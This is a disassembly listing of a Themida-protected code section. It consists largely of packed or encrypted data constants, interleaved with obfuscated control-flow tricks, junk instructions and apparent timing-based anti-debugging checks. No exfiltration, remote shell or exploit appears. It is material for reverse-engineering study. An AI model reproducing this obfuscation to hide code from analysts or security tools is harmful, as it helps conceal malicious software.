		dd 1880704Eh, 36220BE9h, 21B04E49h, 28B50664h, 2D0BA212h
		dd 64214422h, 0C09EAC8Ah, 0CD2A2897h, 44D53Ch, 0FCE90000h
		dd 1C510E99h, 0A80F28B5h, 0DEB7A11h, 0CEA1980h,	48493622h
		dd 8621FAEh, 0BC1228B5h, 0B55A13D0h, 0D36A1228h, 44225E3Ch
		dd 0D0533522h, 0B144FC6Ah, 0E2C75EBFh, 0B5CFBC4Bh, 0C09E5937h
		dd 1B96h, 1980B800h, 65220CEAh,	1228B505h, 222E0CA3h, 89672144h
		dd 17D5B09Dh, 0C09EAA88h, 0FFFEE296h, 1280B8FFh, 2A1703EFh
		dd 13AA8F69h, 344BC784h, 157919FDh, 741433B9h, 98FC9378h
		dd 9A0E0FBh, 9450301Dh,	0E70E7907h, 0AF2F3EFBh,	614E19FDh
		dd 9035C422h, 60200DF9h, 79089F84h, 0AE98D794h,	943F19FDh
		dd 2C8B2465h, 105241A2h, 74000000h, 28B51851h, 0C8246412h
		dd 0A6C33Bh, 80E50000h,	4603EF12h, 19F9BBDCh, 786551E8h
		dd 6350DD1Bh, 55E3C826h, 0EBD8C425h, 0D76E53A9h, 0C705C48h
		dd 636C3F6Ah, 0F4B14085h, 21CE700Eh, 31CFC9B6h,	0C0C1AE9Ah
		dd 0C0AD9926h, 0AB9827C5h, 9D2B10EEh, 0C6D4B6EDh, 1982FC1h
		dd 0E7D25815h, 5BF229A2h, 0E602826Fh, 70096D59h, 9E595C76h
		dd 0DEEDF639h, 1EB5188Eh, 6E2A28Fh, 63510052h, 0FF775CE6h
		dd 7BAh, 60ED138Bh, 4EDB1173h, 3DCA2461h, 26B33150h, 129F5939h
		dd 2C6E4657h, 3F5A47D4h, 4A4734C1h, 52321FACh, 7B670996h
		dd 0FD4BAFBEh, 4F2D1519h, 0A0856321h, 2B17D5B3h, 0B533523Fh
		dd 0F17C39D0h, 0D31228B4h, 0B249A7E6h, 31513E23h, 0A5E5D2B7h
		dd 4FFA664Bh, 4733BFA0h, 0B4CF9E5Bh, 5EF51228h,	3EF524CFh
		dd 21604D5Eh, 0B46706C3h, 0C65D1228h, 842BA22Fh, 5939CD36h
		dd 5Dh,	0EF12807Bh, 0C08B9F03h,	0B95ED483h, 66523E2Ah
		dd 292AC4A9h, 0DA690012h, 0FA495D1Dh, 77342019h, 19FA49F6h
		dd 3A837CEh, 0E2797716h, 4A2940FDh, 0C2AE19FAh,	5338B6D5h
		dd 93822DBCh, 294D399Dh
		dd 35A46C69h, 81802FA6h, 5744419Eh, 0C4A96639h,	19F9F3h
		dd 7043D269h, 50h, 0EF128092h, 0E22C4603h, 19819F9h, 4443301Ch
		dd 1CB33150h, 2411A037h, 8AB0BB64h, 0A747E0A0h,	0F6968310h
		dd 3D2915FAh, 0FA61ED80h, 0CE391819h, 0C1FA1811h, 68F6851Ch
		dd 0FEEBD73Ah, 0EAD6659Bh, 747211FEh, 0AC69F88Fh, 21CAD676h
		dd 4C2AB74Eh, 32602031h, 0AF7E3CFh, 25E2718Fh, 19F9E6F9h
		dd 4B22DFCBh, 7919F9E7h, 29E64BE2h, 0DA7031E7h,	776386F4h
		dd 1E384613h, 83127151h, 6958DA97h, 0D56CE241h,	0D13062F0h
		dd 8E0CF9E5h, 67F68D72h, 12A3C0AAh, 816D04EAh, 0DEBA895h
		dd 0F5F3917Eh, 0DF1D7B68h, 0F0CA252Bh, 5ED6BB26h, 632h
		dd 0D8659B03h, 0C653A9EBh, 0B542BCD9h, 9E2BC9C8h, 8A17D1B1h
		dd 0A4E6CECFh, 0B7D2BF4Ch, 0C2BFAC39h, 0EAAA9724h, 0F3DF810Eh
		dd 0FD4E3736h, 0C7A58D19h, 73306321h, 1228B4FAh, 46B8DDCAh
		dd 9C33CA61h, 33CDCAB7h, 316A18A6h, 11FD9452h, 0FD34AE54h
		dd 9A7F1619h, 6216E8ADh, 0F6CDA57Ch, 0CF239B80h, 0A0000005h
		dd 887502FEh, 7663F00Ch, 6552DF11h, 4E3BC826h, 6C27B44Ch
		dd 0E11F7B31h, 0CE2C6754h, 0B9375441h, 0A3413F2Ch, 0CB887416h
		dd 19FD4DA2h, 225C3A22h, 0B59A5435h, 91018F1Eh,	987D7B1Ah
		dd 917E6A01h, 7C68F7F1h, 0FD343FBFh, 2EE8519h, 3425429Eh
		dd 655151A2h, 0FD78C5A8h, 0D968FF19h, 708E07F4h, 0CDE188BCh
		dd 0BB3318F6h, 562h, 8954B33h, 0F683791Bh, 0E5728C09h
		dd 0CE5B99F8h, 0BA47A1E1h, 74169EFFh, 8702EF7Ch, 92EFDC69h
		dd 0BADAC754h, 230FB13Eh, 0FD4E0766h, 0F7D5BD19h, 3EF1280h
		dd 0FD34B446h, 94791019h, 5C10EEA7h, 0F6CDA556h, 17B52D12h
		dd 0E8000005h, 0D0BD4AB6h, 0BEAB38B4h, 0AD9A27D9h, 968310EEh
		dd 0B46FFCF4h, 29C7C3E9h, 16D4AF9Ch, 1FF9C89h, 0EB098774h
		dd 13D0BC5Eh, 19FD4F5Ah, 21A4826Ah, 0FA733063h,	0CA1228B4h
		dd 0CAB79C33h, 3BEA61CAh, 0B9C392E2h, 33503D22h, 0A1E3D0B5h
		dd 0C13F5E4Bh, 998833DCh, 32E18CF8h, 735F9DFBh,	5FEE0286h
		dd 49A7E5D2h, 0D814705Dh, 0E8CD5CF3h, 29AE3F2Bh, 3EFDB12h
		dd 29AE2746h, 77069D12h, 0FBE75DCCh, 29AE2F3Eh,	6FFE9512h
		dd 59E60282h, 0EBD02C6Ch, 77359BFFh, 47E19A1Dh,	2FCDCBB8h
		dd 2D6614A2h, 14AB906Eh, 9AD4917Dh, 2A19FA18h, 0DDBAA793h
		dd 34513E23h, 0A73ED5BAh, 0E3473318h, 5A431043h, 0FBB847C9h
		dd 19F9E06Eh, 8E738D0Eh, 2308E6A1h, 3F20CF7Ah, 921302ADh
		dd 419E5E1Dh, 56C0h, 3622E200h,	0CBB04E49h, 0B4F67734h
		dd 6861228h, 0C96E05EAh, 6515A332h, 48AC9884h, 2A7BD953h
		dd 284502C5h, 9C1228F1h, 22DF6E05h, 19FA1990h, 0E28B4834h
		dd 0E219FA19h, 12CFB44Bh, 19FA1A57h, 6526D580h,	419E9B4Ah
		dd 0DA17167Ah, 59DA34EFh, 0D5F7CAh, 22190000h, 684D0BEh
		dd 6FFE3D95h, 1E60282h,	957A7614h, 270CE8A8h, 119E5A3Ah
		dd 0AEA0C125h, 4B0AE29Ch, 33CAAF4Dh, 5C500D9Ch,	201229A3h
		dd 0AF78460h, 0F1EBA18Ah, 0C76BCFE3h, 1074FAAFh, 225FF10Eh
		dd 0B148DFC4h, 0FBA7351Ah, 0D6D2A16h, 0B719F9E1h, 95059320h
		dd 0B5CB8874h, 0C821CDC2h, 6275B8DBh, 0F75942F5h, 2FC6AB42h
		dd 7864FBA0h, 64F10F8Bh, 9ECF8C78h, 2621CDC2h, 7713008Fh
		dd 2BA7C579h, 987DFEBCh, 35520h, 88782600h, 768A0EFBh
		dd 659BFCE9h, 4EACEBD8h, 3AB6D4C1h, 9ABF2ADh, 0F5E26F89h
		dd 0E2CF5C92h, 0CDBA47A1h, 2A431CFh, 50145916h,	0C8B019FDh
		dd 316121EAh, 71FE9553h, 0F1920484h, 0E47B12F7h, 0A10394F8h
		dd 0E189BCE3h, 80E7C552h, 4603EF12h, 19F9DD6Ch,	5682511h
		dd 0BF19F9DEh, 0DE5716D3h, 0D66D19F9h, 740BB03Fh, 0DD97D28Fh
		dd 954019F9h, 5F8A2566h, 4D3A419Eh, 3AD1B648h, 0AAD8ABh
		dd 21FA0000h, 0FA733063h, 0CA1228B4h, 0CAB79C33h, 8E4B30C8h
		dd 1228B91Eh, 35C23E5Eh, 0C7AC4848h, 96534939h,	1228B8D7h
		dd 0D3BF56EDh, 0F9D96416h, 0DDC96019h, 0C45391F0h, 725F4B37h
		dd 5FF6DB15h, 0F9D9CBA2h, 0D362F919h, 0C8B45545h, 0CDB8160Bh
		dd 2B17AE21h, 17A45C3Eh, 583A682Ah, 415509A0h, 13FEBC26h
		dd 26CB62Eh, 413D0000h,	6325129Fh, 7213008Dh, 8302EF7Ch
		dd 0AFEBD865h, 9409C451h, 0F9866220h, 0E673890Ch, 0D15E98F9h
		dd 0BB48A4E4h, 0FD702D19h, 0C719FD50h, 612101DFh, 8F0DFA87h
		dd 94F8E471h, 7CB874DEh, 0B694233Fh, 0E9B86321h, 3536C1FFh
		dd 0FFA4C986h, 89201228h, 33F48EF2h, 0F7B3ACE2h, 86107460h
		dd 0B8636081h, 0C7B49928h, 109E2BC9h, 0D6937F62h, 19FA21A4h
		dd 0B8A48920h, 225E0FCCh, 0CF6619FAh, 22E68340h, 46F119FAh
		dd 70FD61D7h, 0F66464A3h, 0B135C72Bh, 0A2A2E11Dh, 6C139C13h
		dd 4BCA419Eh, 0EC000000h, 3EF1280h, 0F9CD3046h,	16E94D19h
		dd 92C7EFBh, 3723C857h,	0F9F4F37Ah, 0A33AD119h,	0F46801BEh
		dd 0C46F19F9h, 7F3DF55h, 0F9F5234Ah, 4D0AA119h,	19F9F520h
		dd 20C53B5Ch, 1FF9C89h,	7FF6851Ch, 419E7630h, 24ADh, 1951CF00h
		dd 641228B5h, 0B4B2BB78h, 7B121228h, 0CD2C5EECh, 0B5AE24E1h
		dd 0E2CF19F9h, 0CE654AA6h, 76039A3Fh, 0EF128098h, 0CC384603h
		dd 0F58C19F9h, 0CC165310h, 16C119F9h, 4909A6E7h, 27D4419Eh
		dd 0F6000000h, 28B51851h, 32D7C312h, 2C6D5A46h,	4C8643D2h
		dd 7819F9B5h, 8908F5E1h, 3EF866Bh, 0F9B52746h, 77069D19h
		dd 12800CEAh, 0AC4603EFh, 0D119FD34h, 354528E5h, 0E87F19FDh
		dd 311DB459h, 37524444h, 0A63DD4B9h, 906C2C19h,	8C6D1DABh
		dd 2850B4A0h, 408D823Eh, 0A5CA8716h, 1F21D1B3h,	0D1AF9C88h
		dd 0FB998613h, 188A18FDh, 0AE500DF9h, 1629A2DDh, 0F41CB7Fh
		dd 7A5FE663h, 0C102h, 0F4EC9200h, 0E21E7A67h, 0D12F6855h
		dd 0BA385744h, 0A642402Dh, 6D3F5E19h, 5946D32Dh, 4633C03Eh
		dd 311EAB45h, 66089553h, 52B0BD7Ah, 2C1419FDh, 5635224Eh
		dd 0C3A84042h, 7806952Ch, 3EFBE70Ah, 19FD342Dh,	2E1B0097h
		dd 1805926Eh, 0DA977C78h, 3C1D1E31h, 395C484Bh,	0B047DEC3h
		dd 46BADECBh, 1E0DB861h, 3825117Dh, 630E9D5Bh, 0E11F7DB4h
		dd 0CB296754h, 9196FAE6h, 0FEA475BCh, 32513ECDh, 7B26CFB4h
		dd 0F9F7958Ch, 8563200Dh, 0ED7A09A0h, 8D0E8000h, 0EF018673h
		dd 0F7DC730Ah, 0B621F0Bh, 0B93C1CCBh, 77E41F55h, 972ECF49h
		dd 109008h, 22B20000h, 0B4F47936h, 0E3D01228h, 20AF46A4h
		dd 7D21F6D4h, 0D3B19E83h, 46433015h, 0B3D6C3A8h, 2F6B583Dh
		dd 83FFECD1h, 0F4938065h, 632411F6h, 0D9BBA88Dh, 536F3E23h
		dd 0BE56E389h, 0C701258h, 703ECE81h, 0F68162DEh, 5B164664h
		dd 0CBEAC681h, 0F301CA17h, 4EB835Eh, 5C241C87h,	1A8A68h
		dd 243C8900h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 50240489h
		dd 0EF3C5DB8h, 58C7890Dh, 0BD77F781h, 8B540A3Bh, 0C4812404h
		dd 4, 1C6A68h, 243C8900h, 0FF08408Fh, 81582434h, 4C4h
		dd 2434FF00h, 4C4835Fh,	0FCDE93E9h, 0F95455FFh,	0F32C056h
		dd 0CA95894Eh, 9F75B857h, 0C50307D4h, 0FDCDE0FFh, 0CC4C684Dh
		dd 59C4730Bh, 9F9A6497h, 0D4133579h, 0FD6F47C5h, 42261D0h
		dd 257A33E4h, 0DABD5EBCh, 5D0D6C89h, 22622523h,	58476815h
		dd 0F55B2A72h, 0CCA60F07h, 0E8831C37h, 4E65852h, 2902033Ah
		dd 0A7581CD2h, 0B7F66750h, 48134D3Dh
		dd 0D94B6B2Fh, 12286CF0h, 65D41E5Bh, 291C2FB0h,	9E934636h
		dd 4D5F0F20h, 83E942A0h, 53000000h, 57565251h, 1C245C8Bh
		dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h
		dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch,	74032473h, 8B561C24h
		dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h,	5C8B41FFh
		dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h
		dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh
		dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h,	0CA8BFFFFh
		dd 10E8h, 0E626A00h, 0C0128FAFh, 0EC89E71Eh, 0B81F4286h
		dd 8B0F10h, 5F000000h, 13E9h, 0E67FCD00h, 0FDB91486h, 92A510A3h
		dd 311641DDh, 948D24A3h, 5ACDC781h, 0F600000h, 6861C3BFh
		dd 1674h, 0C34AE2BBh, 0F60592Bh, 689h, 8F0F00h,	8B000000h
		dd 178B61C6h, 0BE8h, 22F2B700h,	0A5ED581Fh, 0C017FF6Dh
		dd 7E9h, 3E0D4100h, 0C95AC2D5h,	74EA815Eh, 0F48E8CDh, 0EA81F1BFh
		dd 7C58FCE9h, 81C38B66h, 0AEFCA8EAh, 0BB666078h, 0BA66C4E8h
		dd 8961307Eh, 815B5117h, 0C412B4EFh, 0E6816600h, 0C7815600h
		dd 0C412B0h, 0F49D98Bh,	2685h, 0EE96000h, 60000000h, 66A6C458h
		dd 26919CD9h, 9A6FBB3Bh, 49D381CCh, 611612FDh, 2DE9h, 0D17EC900h
		dd 0FA8EB59h, 1185h, 0CE900h, 22A80000h, 0E30A9FADh, 0A3929B0Ch
		dd 5FE98DFFh, 0E4FFFFFFh, 5A627E68h, 68E93469h,	9E8F84Dh
		dd 6D000000h, 0F229C8A8h, 440122F4h, 65CF8166h,	0BA66581Dh
		dd 0C081F472h, 63BCh, 0BBCDF580h, 0
; ---------------------------------------------------------------------------
		mov	dx, 202Ah


loc_5C0864:				; CODE XREF: Themida_:loc_5C08F6j
		push	dword ptr [ebx+eax]
		mov	edx, eax
		pop	esi
		push	ebx
		jl	loc_5C0877
		jnz	$+6


loc_5C0877:				; CODE XREF: Themida_:005C086Bj
		pop	edx
		add	esi, 104D014h
		or	ecx, 4EA038CCh
		xor	esi, 5FBABF4Ah
		mov	edx, edi
		sub	esi, 28BCB562h
		mov	dl, al
		push	esi
		sub	edx, 1BEB4325h
		pop	dword ptr [eax+ebx]
		mov	cx, 0A863h
		add	edi, 607F8E91h
		sub	ebx, 20CAC79Fh
		jmp	loc_5C08BE
; ---------------------------------------------------------------------------
		db 78h
		dd 0B755EC26h, 0B8CA91Bh
; ---------------------------------------------------------------------------
		stosb
		pop	edx


loc_5C08BE:				; CODE XREF: Themida_:005C08AEj
		add	ebx, 20CAC79Bh
		sub	cx, 0AEFAh
		cmp	ebx, 0FFFF9D0Ch
		jnz	loc_5C08EE
		cmc
		jmp	loc_5C090B
; ---------------------------------------------------------------------------
		db 0FEh
		dd 64730EFEh, 0B72BCB75h, 42B345A1h, 0B4D4404Ah
		db 0E5h, 16h
; ---------------------------------------------------------------------------


loc_5C08EE:				; CODE XREF: Themida_:005C08CFj
		ja	loc_5C08F6
		mov	edi, ecx


loc_5C08F6:				; CODE XREF: Themida_:loc_5C08EEj
		jmp	loc_5C0864
; ---------------------------------------------------------------------------
		db 37h
		dd 176883D0h, 0F40694B3h, 82B07C96h
		db 0, 74h, 69h
; ---------------------------------------------------------------------------


loc_5C090B:				; CODE XREF: Themida_:005C08D6j
		jmp	loc_5C0D10
; ---------------------------------------------------------------------------
		dd 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 43h,	36Ah, 0
; ---------------------------------------------------------------------------


loc_5C0D10:				; CODE XREF: Themida_:loc_5C090Bj
		jmp	loc_5C1F2B
; ---------------------------------------------------------------------------
		pusha
		movzx	eax, ax
		mov	ecx, [ebp+7D12C8Dh]
		popa
		pusha
		mov	ebx, [ebp+7D11671h]
		popa
		mov	eax, [ebp+7D12D09h]
		push	0
		push	esi
		call	sub_5C0D39
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0D39	proc near		; CODE XREF: Themida_:005C0D31p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C0D39	endp

; ---------------------------------------------------------------------------
		db 44h,	74h, 0FDh
; ---------------------------------------------------------------------------
		jo	short loc_5C0D60
		cmp	[esp+4], eax
		jnz	loc_5C0DE2
		push	0
		push	edx
		call	sub_5C0D63


loc_5C0D60:				; CODE XREF: Themida_:005C0D4Cj
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0D63	proc near		; CODE XREF: Themida_:005C0D5Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5C0D63	endp

; ---------------------------------------------------------------------------
		stosd
		xor	[ebp+7D12D75h],	esi
		pusha
		mov	[ebp+7D11C15h],	edx
		mov	[ebp+7D12481h],	esi
		popa
		cmp	dword ptr [ebp+7D11E11h], 0
		jz	loc_5C0DE2
		mov	[ebp+7D12029h],	esi
		lea	eax, [ebp+7D13B01h]
		push	0
		push	esi
		call	sub_5C0DAC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0DAC	proc near		; CODE XREF: Themida_:005C0DA4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C0DAC	endp

; ---------------------------------------------------------------------------
		dd 76821620h, 0F2E70117h, 0ED8D89F2h, 0FF07D11Fh, 0AE9E0h
		dd 0F9680000h, 0F0E22F82h, 0A7BCD393h, 22A9B529h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5C0DE2:				; CODE XREF: Themida_:005C0D52j
					; Themida_:005C0D8Fj
		mov	eax, [ebp+7D130F9h]
		add	[ebp+7D126A5h],	edi
		cmp	[esp+4], eax
		jnz	loc_5C0E54
		push	0
		push	ebp
		call	sub_5C0E03
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0E03	proc near		; CODE XREF: Themida_:005C0DFBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5C0E03	endp

; ---------------------------------------------------------------------------
		push	ss
		retn
; ---------------------------------------------------------------------------
		db 0EFh, 83h, 79h
; ---------------------------------------------------------------------------
		sub	ah, [ecx-6E4A76BEh]
		sub	cl, dl
		pop	es
		mov	dword ptr [ebp+7D4A6CEh], 1
		push	0
		push	eax
		call	sub_5C0E36
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0E36	proc near		; CODE XREF: Themida_:005C0E2Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C0E36	endp

; ---------------------------------------------------------------------------
		dw 0D392h
		dd 46120D6Dh, 8D29DB71h, 7D12CCDh
; ---------------------------------------------------------------------------


loc_5C0E54:				; CODE XREF: Themida_:005C0DF2j
		pusha
		push	0
		push	edx
		call	sub_5C0E60
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0E60	proc near		; CODE XREF: Themida_:005C0E58p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C0E60	endp

; ---------------------------------------------------------------------------
		fild	dword ptr [ebx]
		or	[ebp+7D13185h],	esi
		jmp	loc_5C0E82
; ---------------------------------------------------------------------------
		db 0F5h, 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5C0E82:				; CODE XREF: Themida_:005C0E78j
		mov	eax, 1


loc_5C0E87:				; CODE XREF: Themida_:005C0E8Fj
		xchg	eax, [ebp+7D4A840h]
		or	eax, eax
		jnz	short loc_5C0E87
		push	dword ptr [ebp+7D131B5h]
		pop	dword ptr [ebp+7D4A6C6h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+7D132E9h]
		cmp	dword ptr [ebp+7D124E9h], 0
		jz	short loc_5C0EB8
		push	0
		call	dword ptr [ebp+7D10055h]


loc_5C0EB8:				; CODE XREF: Themida_:005C0EAEj
		cmp	dword ptr [ebp+7D12E45h], 1
		jz	short loc_5C0ECE
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+7D132E9h]


loc_5C0ECE:				; CODE XREF: Themida_:005C0EBFj
		push	0
		push	edi
		call	sub_5C0ED9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0ED9	proc near		; CODE XREF: Themida_:005C0ED1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5C0ED9	endp

; ---------------------------------------------------------------------------
		db 0D8h, 0Ah, 0D6h
		dd 31E2EAA2h, 0D11AA18Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0F90A9D94h
		dd 0E7196CFCh, 0C8B0F9Ah, 0E9000000h, 7, 0F20BD415h, 89C44A2Eh
		dd 0D12A1585h, 60C02B07h, 17B1858Bh, 0B5207D1h,	0D1275585h
		dd 8B615F07h, 0F282454h, 682h, 5B53100h, 8907D114h, 0D13089BDh
		dd 0A9858907h, 6A07D12Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0C002C352h,	0DA8B602Eh
		dd 21658503h, 0BE6107D1h, 3Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0D6C35040h,	0C860F67h, 0E9000000h
		dd 7, 3C52BB60h, 89CD2045h, 0D101C185h,	24740307h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0C1A087E2h, 5E90Ch, 8BCE0000h, 66B4F00Dh, 57006AADh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0F60CBA5h, 68Eh, 850F00h, 8B000000h,	0D116A58Dh, 44036107h
		dd 6A2424h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0CE0582C3h, 870F60D6h, 18h, 12E8h, 0A55DF900h
		dd 4A14B95Dh, 5A3A2E62h, 35D7D491h, 5E945573h, 6810Fh
		dd 95890000h, 7D12589h,	52505061h, 6820Fh, 870F0000h, 0
		dd 8D0F310Fh, 6, 310F5250h, 585A585Ah, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 1B5CC352h, 0CBA55B9Ch, 8D31607Bh, 7D120FDh, 23319D8Bh
		dd 0F6107D1h, 681h, 6D958900h, 8B07D106h, 6A7840h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0C1FEDBC3h, 9D8D8960h, 0E807D121h, 0Ch, 4F408BE3h, 0A9DDAA04h
		dd 6DB9A40Eh, 11E9h, 75DBDD00h,	0E38C81F8h, 1E5C492Eh
		dd 1240982Bh, 615924BBh, 0A6CEBD83h, 0F0007D4h,	11085h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 8D669244h, 618589CEh, 5007D127h,	0A8C0Fh
		dd 0F600000h, 8Fh, 6185B100h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1767C351h
		dd 0B63133F8h, 0D8FBB960h, 8E978DCh, 0BE000000h, 209A1BB2h
		dd 61B151C8h, 21619D29h, 448B07D1h, 6A2C24h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 6D85E8C3h
		dd 1AF98D29h, 0E99007D1h, 13h, 0D7115128h, 37D8A028h, 394C7057h
		dd 3C51AD54h, 503709F2h, 52505760h, 585A310Fh, 9B8DBF5Fh
		dd 90610F3Eh, 1D880Fh, 870F0000h, 17h, 12E9h, 0CFC89E00h
		dd 0DCEF76AAh, 97738FF6h, 5B395D25h, 0FF22A60h,	0A8Bh
		dd 858B6000h, 7D11809h,	8D6117B4h, 0D47DBB85h, 0D0FFF907h
		dd 0D852960h, 0BB07D12Dh, 64C4ED63h, 24440361h,	830F6028h
		dd 2, 0E38171B4h, 2CA8D44Eh, 18408B61h,	5E9h, 2C880600h
		dd 6A40DFBDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 94E6C351h, 0C7B96E2Bh,	9F8E866h
		dd 0D1180985h, 0CA858907h, 6A07D4A6h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 6BE4C351h
		dd 0C53638C7h, 0B531E534h, 7D11599h, 10E9h, 6503BA00h
		dd 40884A9Ah, 0E7641522h, 8F4A7B3Fh, 6A5887h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B91FC9C3h
		dd 8E9E8E6h, 8B000000h,	8AC4450h, 600B0CF3h, 8B615B52h
		dd 6A7870h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 4C9AEFC3h, 0F8F334ABh, 0C6839E1Fh, 56006A1Ch
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0B740E31Eh, 0FFF579Ch, 183h,	2996FC00h, 0D12B3D9Dh
		dd 247C8107h, 24h, 37870F10h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 9797C357h
		dd 0E7AF9679h, 6DA65DC0h, 5E990h, 58830000h, 509FA151h
		dd 0FE860h, 33790000h, 0B89965E0h, 94684AFAh, 2E570565h
		dd 5E24B115h, 0B4D387BBh, 8990615Eh, 0D1327D9Dh, 24448B07h
		dd 52006A28h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 951F952Ch, 13E900h, 58920000h, 0D6C919E6h
		dd 43927B27h, 1E385FDAh, 34356E2Fh, 51B52915h, 9007D124h
		dd 52505250h, 8A0Fh, 310F0000h,	585A6160h, 880F310Fh, 2
		dd 585A6160h, 198A0F50h, 0E9000000h, 14h, 0C22EBAFCh, 0A4880E05h
		dd 0DE3D2F03h, 7A5DAC87h, 93718E4Eh, 57006A90h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 858D18F0h
		dd 7D47DBBh, 7E9h, 8B292300h, 0FD58CFC6h, 6830F60h, 8B000000h
		dd 0D12B1185h, 4860F07h, 66000000h, 6187DDBBh, 8589D0FFh
		dd 7D113BDh, 0C870Fh, 880F0000h, 6, 810Fh, 6A960000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 221FC350h, 0DE90Ah, 8B660000h, 6AAF83E5h, 0F035C2FEh
		dd 0E9CA208Ch, 6, 557A8A57h, 74038E95h,	800F2424h, 6, 3B9BD29h
		dd 0BD8D07D1h, 7D13105h, 177D9D01h, 6AAD07D1h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 3152C351h, 60B22C27h, 0AE9h,	390EA400h, 0B7907C76h
		dd 664A4A6Ch, 0BC94E281h, 8D096061h, 7D13295h, 6FEF8166h
		dd 7C8161E9h, 2424h, 870F1000h,	0C2h, 1DB58B60h, 8007D109h
		dd 9061AAC6h, 158E0Fh, 10E90000h, 1C000000h, 7840FEF8h
		dd 0FB67C770h, 9226C680h, 5012E400h, 0BE95250h,	8E000000h
		dd 6AAB3A59h, 0FA9BB402h, 310FE6CBh, 0F525060h,	0BA585A31h
		dd 514F9418h, 90585A61h, 22E1B589h, 448B07D1h, 85892824h
		dd 7D1271Dh, 19830F50h,	0E9000000h, 14h, 18D32FF9h, 95BE8C26h
		dd 0D354F759h, 830B53EFh, 5271075h, 29240489h, 0D1287D85h
		dd 0BB858D07h, 6A07D47Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 3C90C350h, 0B5AB483h
		dd 9B208348h, 6A99589h,	0FFF807D1h, 0B58960D0h,	7D1236Dh
		dd 440361F5h, 95292424h, 7D10FB9h, 6870FABh, 29000000h
		dd 0D12DC995h, 0FA8107h, 0F000100h, 77282h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 18E0F29h, 0FC000000h, 0CE9h,	0ADAC3700h, 456FAC79h
		dd 0B8641871h, 1DBD8D1Fh, 0FC07D115h, 51006AADh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 860F54BDh, 0Ch, 68E0Fh, 95890000h, 7D11825h,	6810Fh
